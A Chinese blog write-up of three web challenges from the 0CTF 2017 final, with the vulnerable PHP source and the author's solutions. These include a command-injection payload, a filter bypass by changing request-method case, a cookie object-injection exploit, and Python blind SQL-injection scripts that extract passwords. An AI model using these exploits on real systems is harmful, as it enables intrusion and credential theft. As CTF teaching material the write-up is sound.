LoRexxar's Blog | 信息技术分享

0ctf2017 final

2017/06/16

几周前刚刚从0ctf final的现场回来,虽然名词不好,但是收获很多,一直没来得及整理,今天终于整理完了…

AVATAR CENTER

题目很简单,但是刚上手的时候挺萌比的,一共两个功能。

1、修改时区,登陆注册之后有一个修改时区的功能。(盲测讲道理是没什么卵用的)
2、上传头像,这里盲测的结果是没有不会做任何处理,包括文件名和内容,但是头像内容是通过函数返回的,访问getavatar,返回文件内容,没办法找到目录在哪。

研究了一会儿发现这题被秒的差不多了,感觉有忽略的条件,于是扫端口发现2121存在ftp服务,匿名登陆上了服务器,翻了翻拿到了源码。

分析下逻辑主要是这样的。

输入时区必须为6位

1
2
3
4
if (strlen($tz) != 6) {
$response->write("tz format error");
return $response;
}

只要满足6位条件,那么就会传入

1
2
3
public function setTZ($tz) {
exec(sprintf("echo %s > %s%s/TZ", $tz, $this->profile_savepath, $this->getdir()));
}

执行命令

但是还有个通用的防御函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function Security()
{
if (filter_shell($_GET))
die("Potential Hack");

if ($_SERVER['REQUEST_METHOD'] === "POST") {
if (filter_shell($_POST))
die("Potential Hack");
}
}

function filter_shell($var)
{
foreach($var as $key => $value) {
if( is_array($value) && filter_shell($value))
return true;
if( preg_match("/[;$`&]/i", $key . $value))
return true;
}
return false;
}

对字符做了部分过滤,虽然这里没必要绕过就可以,但的确是可以绕过的,因为这句$_SERVER['REQUEST_METHOD'] === "POST"因为这里是全等于,所以可以通过修改request_method的大小写来绕过,导致过滤无用。

这里题目中给了提示,要用readflag命令读flag,那么这里的标准payload就是

1
|*/re*

由于当前目录刚好是根目录,所以6位刚好执行。

这里也可以使用 escapeshellcmd 不过滤成对的引号的方法,通过sh执行命令,也就是小m的方法,就不赘述了。

uglyweb

说实话应该不是很难的题,但是放到线下花了很多时间,思路还是不太开阔。

整个站没什么功能,除了登陆注册以外,只有两个功能,一个是send,可以给指定的用户发送消息,收到消息的可以阅读(这里存在一个xss),另一个是reset,可以重置密码。

整个题目一共有两个flag,一个flag在数据库,另一个flag在cookie中,是httponly的,由于这是两个题目,所以仔细思考一下,可以猜到两个漏洞分别是什么。

数据库中的flag一定会有一个注入漏洞,而cookie中的flag,只有admin登陆才能看到,没办法通过任何别的方式获取,除非出题人失误,否则不能会出现一个洞打两个flag的情况,所以admin的密码一定不能解开,所以必须重置admin的密码。

回到代码逻辑上来,最重要的文件有几个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
user.class.php

<?php
class User{
var $dbTable = 'users';
var $sessionVariable = 'userSessionValue';
var $tbFields = array(
'userID'=> 'userID',
'login' => 'username',
'pass' => 'password',
'email' => 'email',
'active'=> 'active'
);

var $displayErrors = false;
var $userID;
var $userData=array();

var $remTime = 2592000;
var $remCookieName = 'ckSavePass';
var $remCookieDomain = '';

function __construct() {
global $mysqli;
if( !isset( $_SESSION ) ) session_start();
$this->dbConn = $mysqli;
if ( !empty($_SESSION[$this->sessionVariable]) )
{
$this->loadUser( $_SESSION[$this->sessionVariable] );
}
if ( isset($_COOKIE[$this->remCookieName]) && !$this->is_loaded()){
$u = unserialize(base64_decode($_COOKIE[$this->remCookieName]));
$this->login($u['email'], $u['password']);
}
}

function login($email, $password, $remember = false, $loadUser = true {)

$email = $this->escape($email);
$originalPassword = $password;
$password = md5($password);
$res = $this->query("SELECT * FROM `{$this->dbTable}`
WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1",__LINE__);
var_dump("SELECT * FROM `{$this->dbTable}`
WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1");

if ( $res->num_rows == 0)
return false;
if ( $loadUser )
{
$this->userData = $res->fetch_array();
$this->userID = $this->userData[$this->tbFields['userID']];
$_SESSION[$this->sessionVariable] = $this->userID;
}
if ( $remember ){
$cookie = base64_encode(serialize(array('email'=>$email,'password'=>$originalPassword)));
$a = setcookie($this->remCookieName,
$cookie,time()+$this->remTime, $base_path, $this->remCookieDomain, false, true);
}
return true;
}

function logout($redirectTo = '')
{
$_SESSION[$this->sessionVariable] = '';
$this->userData = '';
if ( $redirectTo != '' && !headers_sent()){
header('Location: '.$redirectTo );
exit;//To ensure security
}
}

function is($prop){
return $this->get_property($prop)==1?true:false;
}

function get_property($property)
{
if (empty($this->userID)) $this->error('No user is loaded', __LINE__);
if (!isset($this->userData[$property])) $this->error('Unknown property <b>'.$property.'</b>', __LINE__);
return $this->userData[$property];
}

function is_active()
{
return $this->userData[$this->tbFields['active']];
}

function is_loaded()
{
return empty($this->userID) ? false : true;
}

function activate()
{
if (empty($this->userID)) $this->error('No user is loaded', __LINE__);
if ( $this->is_active()) $this->error('Allready active account', __LINE__);
$res = $this->query("UPDATE `{$this->dbTable}` SET {$this->tbFields['active']} = 1 AND `activationHash`=''
WHERE `{$this->tbFields['userID']}` = '".$this->escape($this->userID)."' LIMIT 1");
if ($res->affected_rows == 1)
{
$this->userData[$this->tbFields['active']] = true;
return true;
}
return false;
}

function insertUser($data){
if (!is_array($data)) $this->error('Data is not an array', __LINE__);
$data[$this->tbFields['pass']] = md5($data[$this->tbFields['pass']]);
foreach ($data as $k => $v ) $data[$k] = "'".$this->escape($v)."'";
$this->query("INSERT INTO `{$this->dbTable}` (`".implode('`, `', array_keys($data))."`) VALUES (".implode(", ", $data).")");
return $this->dbConn->insert_id;
}

function randomPass($length=10, $chrs = '1234567890qwertyuiopasdfghjklzxcvbnm'){
for($i = 0; $i < $length; $i++) {
$pwd .= $chrs{mt_rand(0, strlen($chrs)-1)};
}
return $pwd;
}

function query($sql, $line = 'Uknown')
{
$res = $this->dbConn->query($sql);
if ( !$res )
$this->error($this->dbConn->error, $line);
return $res;
}

function loadUser($userID)
{
$res = $this->query("SELECT * FROM `{$this->dbTable}` WHERE `{$this->tbFields['userID']}` = '".$this->escape($userID)."' LIMIT 1");
if ( $res->num_rows == 0 )
return false;
$this->userData = $res->fetch_array();
$this->userID = $userID;
$_SESSION[$this->sessionVariable] = $this->userID;
return true;
}

function findUser($username)
{
$res = $this->query("SELECT * FROM `{$this->dbTable}` WHERE `{$this->tbFields['login']}` = '".$this->escape($username)."' LIMIT 1");
if ( $res->num_rows == 0 )
return false;
return $res->fetch_array()['userID'];
}

function escape($str)
{
if (is_array($str))
{
$str = array_map([&$this, 'escape'], $str);
return $str;
}
else if (is_string($str))
{
return $this->dbConn->real_escape_string($str);
}
else if (is_bool($str))
{
return ($str === false) ? 0 : 1;
}
else if ($str === null)
{
return 'NULL';
}
return $str;
}

function error($error, $line = '', $die = false) {
if ( $this->displayErrors )
echo '<b>Error: </b>'.$error.'<br /><b>Line: </b>'.($line==''?'Unknown':$line).'<br />';
if ($die) exit;
return false;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
message.class.php

<?php
class Message{

var $msg = "";
var $from = "";
var $to = "";
var $id = -1;

function __construct($from, $to, $msg, $id=-1) {
global $mysqli;
$this->from = $from;
$this->to = $to;
$this->msg = $msg;
$this->id = $id;
}

function __toString(){
return $this->msg;
}

}

class MessageManager{
function __construct() {
global $mysqli;
$this->dbConn = $mysqli;
}

function send($message){
$sql = "INSERT INTO `message`(`from`, `to`, `msg`)VALUES('".$this->escape($message->from)."', '".$this->escape($message->to)."', '".$this->escape($message->msg)."')";
$this->dbConn->query($sql);
return $this->dbConn->insert_id;
}

function all($to){
$sql = "SELECT * FROM `message` WHERE `read`=0 and `to`='".$this->escape($to)."'";
$res = $this->dbConn->query($sql);
$result = array();
while($res && $message = $res->fetch_array()){
$result[] = new Message($message['from'], $message['to'], $message['msg'], $message['id']);
}
return $result;

}

function one($to, $id){
$sql = "SELECT * FROM `message` WHERE `read`=0 and `to`='".$this->escape($to)."' and `id`=".intval($id);
$res = $this->dbConn->query($sql);
$result = null;
if($res && $message = $res->fetch_array()){
$result = new Message($message['from'], $message['to'], $message['msg'], $message['id']);
}
return $result;

}

function read($id){
$sql = "UPDATE `message` SET `read`=1 WHERE `id`=".intval($id);
$res = $this->dbConn->query($sql);
}

function escape($str)
{
if (is_array($str))
{
$str = array_map([&$this, 'escape'], $str);
return $str;
}
else if (is_string($str))
{
return $this->dbConn->real_escape_string($str);
}
else if (is_bool($str))
{
return ($str === false) ? 0 : 1;
}
else if ($str === null)
{
return 'NULL';
}
return $str;
}

}

ugly01

这里的第一个flag是通过sql注入得到的,其实通审所有源码,不难发现代码中所有进入数据库的语句全部通过了escape函数,我们来看看escape函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function escape($str)
{
if (is_array($str))
{
$str = array_map([&$this, 'escape'], $str);
return $str;
}
else if (is_string($str))
{
return $this->dbConn->real_escape_string($str);
}
else if (is_bool($str))
{
return ($str === false) ? 0 : 1;
}
else if ($str === null)
{
return 'NULL';
}
return $str;
}

这里过滤了数组、字符串、布尔值、还判断了是不是null,那么没有被过滤的只有一种类型了,就是类。

那么我们回顾一下代码,在登陆逻辑中有个很重要的反序列化。

1
2
3
4
if ( isset($_COOKIE[$this->remCookieName]) && !$this->is_loaded()){
$u = unserialize(base64_decode($_COOKIE[$this->remCookieName]));
$this->login($u['email'], $u['password']);
}

这里的email会代入login函数中,拼接进入sql语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function login($email, $password, $remember = false, $loadUser = true	{)

$email = $this->escape($email);
$originalPassword = $password;
$password = md5($password);
$res = $this->query("SELECT * FROM `{$this->dbTable}`
WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1",__LINE__);
var_dump("SELECT * FROM `{$this->dbTable}`
WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1");

if ( $res->num_rows == 0)
return false;
if ( $loadUser )
{
$this->userData = $res->fetch_array();
$this->userID = $this->userData[$this->tbFields['userID']];
$_SESSION[$this->sessionVariable] = $this->userID;
}
if ( $remember ){
$cookie = base64_encode(serialize(array('email'=>$email,'password'=>$originalPassword)));
$a = setcookie($this->remCookieName,
$cookie,time()+$this->remTime, $base_path, $this->remCookieDomain, false, true);
}
return true;
}

只可惜这里也会进入escape函数,那么我就要想办法代入一个类才行,再看看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Message{

var $msg = "";
var $from = "";
var $to = "";
var $id = -1;

function __construct($from, $to, $msg, $id=-1) {
global $mysqli;
$this->from = $from;
$this->to = $to;
$this->msg = $msg;
$this->id = $id;
}

function __toString(){
return $this->msg;
}

}

不难发现message中有一个tostring方法,那么思路就很清晰了。

通过设置cookie传入序列化的message类,message->tostring代入email,构成注入

1
2
3
4
5
6
7
8
9
10
11
<?php
include 'message.class.php';
$sql = new Message();
// $sql->msg = 'ddog@ddog.c\' and (select substr(flag,1,1) from flag)=\'f\'#';\
$sql->msg = 'ddog@123\' union select 1,"admin",1,1,1,1#';
$payload = array(
"email"=>$sql,
"password"=>"23333"
);
echo base64_encode(serialize($payload));
?>

这是测试代码,附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python
# -*- coding:utf-8 -*-

import requests
import base64

# url = "http://127.0.0.1/rsctf/uglyweb/"
url = "http://192.168.201.13/"

ll = "_{}*1234567890qwertyuiopasdfghjklzxcvbnm"
# a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg";s:38:"ddog@ddog.c' union select 1,2,3,4,5,6#";s:4:"from";N;s:2:"to";N;s:2:"id";i:-1;}s:8:"password";s:5:"23333";}

payload = ""

def attack(url, payload):

u1 = url + "send.php"

plen = len(payload)

payload = 'a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg";s:'+str(plen)+':"'+payload+'";s:4:"from";N;s:2:"to";N;s:2:"id";i:-1;}s:8:"password";s:5:"23333";}'
# print base64.b64encode(payload)

cookies = {'ckSavePass': base64.b64encode(payload)}

r = requests.get(u1, cookies=cookies)

if 'Send Message' in r.text:
return True

return False

flag = ""

for i in xrange(40):
for j in ll:
payload = "bsw6b4y5@mail.bccto.me' and (select substr(PASSWORD,"+str(i)+",1) from users limit 1)='"+j+"'#"

if attack(url, payload):
flag +=j
print flag
break

这里的第二个flag根据出题人说的话,是通过php的mt_rand漏洞来预测随机数,重置admin的密码,get flag2.

但是这其中有一些问题,我们写一个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

// mt_srand(3213214212);

function gencsrftoken($length=10, $chrs = '1234567890qwertyuiopasdfghjklzxcvbnm'){
$csrf = '';
for($i = 0; $i < $length; $i++) {
$csrf .= $chrs{mt_rand(0, strlen($chrs)-1)};
}
return $csrf;
}

print gencsrftoken();

?>

获得token后,算出随机的数

1
2
3
4
5
6
7
s= "0gdfzw0lcz"
chr = "1234567890qwertyuiopasdfghjklzxcvbnm"


for i in s:
# print i
print str(chr.index(i))+" "+str(chr.index(i))+" 0 35",

然后使用计算随机数种子的工具
http://www.openwall.com/php_mt_seed/README

但是出了一些问题,如果我不指定随机数的种子,这个种子就不可被计算

1
2
3
4
5
6
7
8
9
10
11
lorexxar@icy:~/Documents/php_mt_rand_c$ ./php_mt_seed 22 22 0 35 31 31 0 35 19 19 0 35 23 23 0 35 33 33 0 35 20 20 0 35 27 27 0 35 4 4 0 35 31 31 0 35 3 3 0 35
Pattern: EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36
Found 0, trying 33554432 - 67108863, speed 15606712 seeds per second ^C
lorexxar@icy:~/Documents/php_mt_rand_c$ ./php_mt_seed 9 9 0 35 16 16 0 35 19 19 0 35 12 12 0 35 11 11 0 35 16 16 0 35 20 20 0 35 13 13 0 35 5 5 0 35 20 20 0 35
Pattern: EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36
Found 0, trying 4261412864 - 4294967295, speed 20581564 seeds per second
Found 0
lorexxar@icy:~/Documents/php_mt_rand_c$ ./php_mt_seed 9 9 0 35 24 24 0 35 22 22 0 35 23 23 0 35 29 29 0 35 11 11 0 35 9 9 0 35 28 28 0 35 31 31 0 35 29 29 0 35
Pattern: EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36
Found 0, trying 4261412864 - 4294967295, speed 20432551 seeds per second
Found 0

只有在被指定的情况下,才能跑出种子….出题的大佬说他没测试过题目…

luckygame

题很难,而且完成的要求非常苛刻,这里一步步的解决。

首先是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
<?php session_start(); ?>
<!DOCTYPE html>
<html>
<head>
<title>Lucky Game</title>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Raleway:200">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans" rel="stylesheet">
<link rel="stylesheet" href="https://unpkg.com/purecss@0.6.2/build/pure-min.css" integrity="sha384-UQiGfs9ICog+LwheBSRCt1o5cbyKIHbwjWscjemyBMT9YCUMZffs6UqUTd0hObXD" crossorigin="anonymous">
<link rel="stylesheet" href="https://purecss.io/combo/1.18.13?/css/main-grid.css&amp;/css/main.css&amp;/css/menus.css&amp;/css/rainbow/baby-blue.css">
<style>
.header{font-family: 'Noto Sans', sans-serif;}
.header h1{color: rgb(202, 60, 60);}
.button-error {background: rgb(202, 60, 60);}
.button-success {background: rgb(28, 184, 65);}
</style>
</head>
<body>
<div id="layout">
<div id="menu">
<div class="pure-menu">
<a class="pure-menu-heading" href="#">TCTF</a>
</div>
</div>
<div id="main">
<div class="header">
<h1>幸运数字</h1>
<h2>Shall we play a "lucky" game?</h2>
</div>
<div class="content">
<?php

ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);

// require 'config.php';
if (!$link=mysqli_connect('localhost', 'root', '')) die('Connection error');
if (!mysqli_select_db($link,'luckygame')) die('Database error');

$tbls = "SELECT group_concat(table_name SEPARATOR '|') FROM information_schema.tables WHERE table_schema=database()";
$cols = "SELECT group_concat(column_name SEPARATOR '|') FROM information_schema.columns WHERE table_schema=database()";
$query = mysqli_query($link,$tbls,MYSQLI_USE_RESULT);
$tbls_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);
$query = mysqli_query($link,$cols,MYSQLI_USE_RESULT);
$cols_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);


# CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar(24),password varchar(32),points int,UNIQUE KEY(username),PRIMARY KEY(id));
# INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10);
# CREATE TABLE logs(id int NOT NULL,log varchar(64));


foreach($_POST as $k => $v){
if(!empty($v) && is_string($v))
$_POST[$k] = trim(mysqli_escape_string($link,$v));
else
unset($_POST[$k]);
}

foreach($_GET as $k => $v){
if(!empty($v) && is_string($v))
$_GET[$k] = trim(mysqli_escape_string($link,$v));
else
unset($_GET[$k]);
}


function filter($s){
global $tbls_name,$cols_name;
$blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
return $s;
}

function register($username,$password){
global $link;
$q = sprintf("INSERT INTO users VALUES (NULL,'%s',md5('%s'),10)",
filter($username),filter($password));

if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
return TRUE;
}

function login($username,$password){
global $link;
$q = sprintf("SELECT * FROM users WHERE username = '%s' AND password = md5('%s')",
filter($username),filter($password));
if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
$result = mysqli_fetch_array($query);
mysqli_free_result($query);
if(count($result)>0){
$_SESSION['id'] = $result['id'];
$_SESSION['user'] = $result['username'];
return TRUE;
} else {
unset($_SESSION['id'],$_SESSION['user']);
return FALSE;
}
}

function user_log($s){
global $link;
$q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
filter($_SESSION['id'].'|'.$s));
if(!$query = mysqli_query($link,$q)) return FALSE;
return TRUE;
}

function update_point($p){
global $link;
$q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
$p,$_SESSION['id']);
if(!$query = mysqli_query($link,$q)) return FALSE;
if(!user_log("Update ".$p)) return FALSE;
return TRUE;
}

function my_point(){
global $link;
$q = sprintf("SELECT * FROM users WHERE username = '%s'",
filter($_SESSION['user']));
if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
$result = mysqli_fetch_array($query);
mysqli_free_result($query);
return (int)($result['points']);
}

switch(@$_GET['action']){
case 'register':
if(!empty($_POST['user']) && !empty($_POST['pass']))
if(!register($_POST['user'],$_POST['pass']))
die("<aside>Something went wrong!</aside>");
break;
case 'login':
if(!empty($_POST['user']) && !empty($_POST['pass']))
login($_POST['user'],$_POST['pass']);
break;
case 'logout':
unset($_SESSION['user'],$_SESSION['id']);
break;
default:
break;
}

if(empty($_SESSION['user'])){
echo <<<EOF
<form action="?action=register" method=POST class="pure-form pure-form-stacked">
<fieldset>
<input type=text name=user required placeholder="Username" />
<input type=password name=pass required placeholder="Password" />
<button type="submit" class="pure-button pure-button-primary">Register</button>
</fieldset>
</form>

<form action="?action=login" method=POST class="pure-form pure-form-stacked">
<fieldset>
<input type=text name=user required placeholder="Username" />
<input type=password name=pass required placeholder="Password" />
<button type="submit" class="pure-button pure-button-primary button-success">Login</button>
</fieldset>
</form>
EOF;
die();
}

$points = my_point();

if($points == 1337){
user_log('winner');
echo "<h3>Well played, we will give you a reward soon.</h3>";
}

echo <<<EOF
<h1>Hello <a href='?action=logout'>{$_SESSION['user']}</a></h1>
<h2>You got {$points} points</h2>
<form method=GET class="grid-panel pure-form-aligned pure-form">
<div class="bet-control pure-control-group">
<label for="bet-input">
Your bet
</label>
<input name="bet" id="bet-input" data-content="bet-input"
type="number" min="0" max="16" value=1>

</div>

<div class="guess-control pure-control-group">
<label for="guess-input">
Your guess
</label>
<input name="guess" id="guess-input" data-content='guess-input'
type="number" min="0" value=1>
</div>
<button type="submit" class="pure-button pure-button-primary button-error">Place</button>
</form>

EOF;

if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
echo "<aside>";
if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
$number = rand()%8;
echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
if( $number == $_REQUEST['guess'] ){
echo "You won!";
if(!update_point($_REQUEST['bet']))
return;
} else {
echo "You lost :(";
if(!update_point(-$_REQUEST['bet']))
return;
}
echo "</aside>";
}

mysqli_close($link);
?>

</div>
</div>
</div>
</body>
</html>

先顺序看一遍,很容易发现在注册然后登陆,在获取my_point的时候。

1
2
3
4
5
6
7
8
9
10
function my_point(){
global $link;
var_dump("SELECT * FROM users WHERE username = '".filter($_SESSION['user'])."'" );
$q = sprintf("SELECT * FROM users WHERE username = '%s'",
filter($_SESSION['user']));
if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
$result = mysqli_fetch_array($query);
mysqli_free_result($query);
return (int)($result['points']);
}

这里从session中获取了user的值,构成了一个二次注入,但是这里有个新的问题,因为题目当中给了数据库结构,我们来看看

1
2
3
4

# CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar(24),password varchar(32),points int,UNIQUE KEY(username),PRIMARY KEY(id));
# INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10);
# CREATE TABLE logs(id int NOT NULL,log varchar(64));

user这里只有24位,这也是核心问题所在,我们没办法通过任何方式注入数据。所以我们必须想别的办法。

很快我们都能找到第二个注入在user_log中,通过更新分数然后进入user_log,这里有一个insert注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function user_log($s){
global $link;
$q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
filter($_SESSION['id'].'|'.$s));
var_dump($q);
if(!$query = mysqli_query($link,$q)) return FALSE;
return TRUE;
}

function update_point($p){
global $link;
$q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
$p,$_SESSION['id']);
if(!$query = mysqli_query($link,$q)) return FALSE;
if(!user_log("Update ".$p)) return FALSE;
var_dump("Ture");
return TRUE;
}

这下我们有两个注入点了,但是我们遇到了新的问题,如果绕过filter的判断

1
2
3
4
5
6
function filter($s){
global $tbls_name,$cols_name;
$blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
return $s;
}

这里的主要问题是,如何绕过对表名和列名的判断。

这里用一个黑科技,既然我们可以把admin的密码通过注入来select出来,那么问题就是如何获取这个结果,这里可以使用mysql中的变量。

1
2
SELECT * FROM `users` WHERE username = "admin" into @a,@b,@c,@d;
INSERT INTO logs VALUES (id+1,'17|Update 1e-1000' in (concat('123',1/(substr(@c,1,1)='d'))))

通过构造双语句,构造报错盲注,我们再来看看代码

1
2
3
4
5
6
7
8
9
10
if(xx){
echo "You won!";
if(!update_point($_REQUEST['bet']))
return;
} else {
echo "You lost :(";
if(!update_point(-$_REQUEST['bet']))
return;
}
echo "</aside>";

如果我们构造除0错误,导致insert报错,这样这里就会直接return,如果正常就能输出</aside>,这样就构成了盲注。

这里使用的还是mysql的长连接特性,这样才能保证@c在注入的时候仍然存在。

这里我们构造username为

1
admin' into @a,@b,@c,@d#

然后构造bet为

1
1e-1000' in (concat('123',1/(substr("test",1,1)='d'))))#

最后一个坑是php的坑,由于我们在获取my_point的时候遇到了一些问题,因为题目中有个判断。

1
2
3
(int)$_REQUEST['bet'] > 0 

if($_REQUEST['bet'] > $points) die("What?! you're cheater!");

要满足这个条件,我们需要一些黑科技。

1
2
3
4
5
6
<?php
$a=1e-10;
var_dump((int)$a);

var_dump($a>0);
?>

当a为1e-10的时候,php的返回是这样的

1
2
3
D:\wamp64\www\test.php:3:int 0

D:\wamp64\www\test.php:5:boolean true

当a为1e-1000的时候,php的返回是这样的

1
2
3
D:\wamp64\www\test.php:3:int 0

D:\wamp64\www\test.php:5:boolean false

这样我们就可以构造出来一个既大于0,又不大于0的值,完成注入。

这里脚本用了小m的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding: utf-8 -*-
import hashlib
from string import ascii_letters, digits
import requests
import re

url = 'http://127.0.0.1/rsctf/luckygame/'
header = {'cookie': 'PHPSESSID=jja6dabqrsgl8r43t6md3n1o14'}
flag = ''
exit_flag = False
for i in range(1, 33):
for j in ascii_letters + digits:
payload = "1e-1000' in (concat('123',1/(substr(@c,%d,1)='%s'))))#" % (i, j)
while True:
print payload
res = requests.post(url, data={'guess':'1', 'bet':payload}, headers=header).text
# print res
# raw_input()
if ('won' in res) and ('</aside>' in res):
exit_flag = True
print i
flag += j
print flag
break;
elif ('won' in res):
break
else:
continue
if exit_flag:
exit_flag = False
break;
CATALOG
  1. 1. AVATAR CENTER
  2. 2. uglyweb
  3. 3. ugly01
  4. 4. luckygame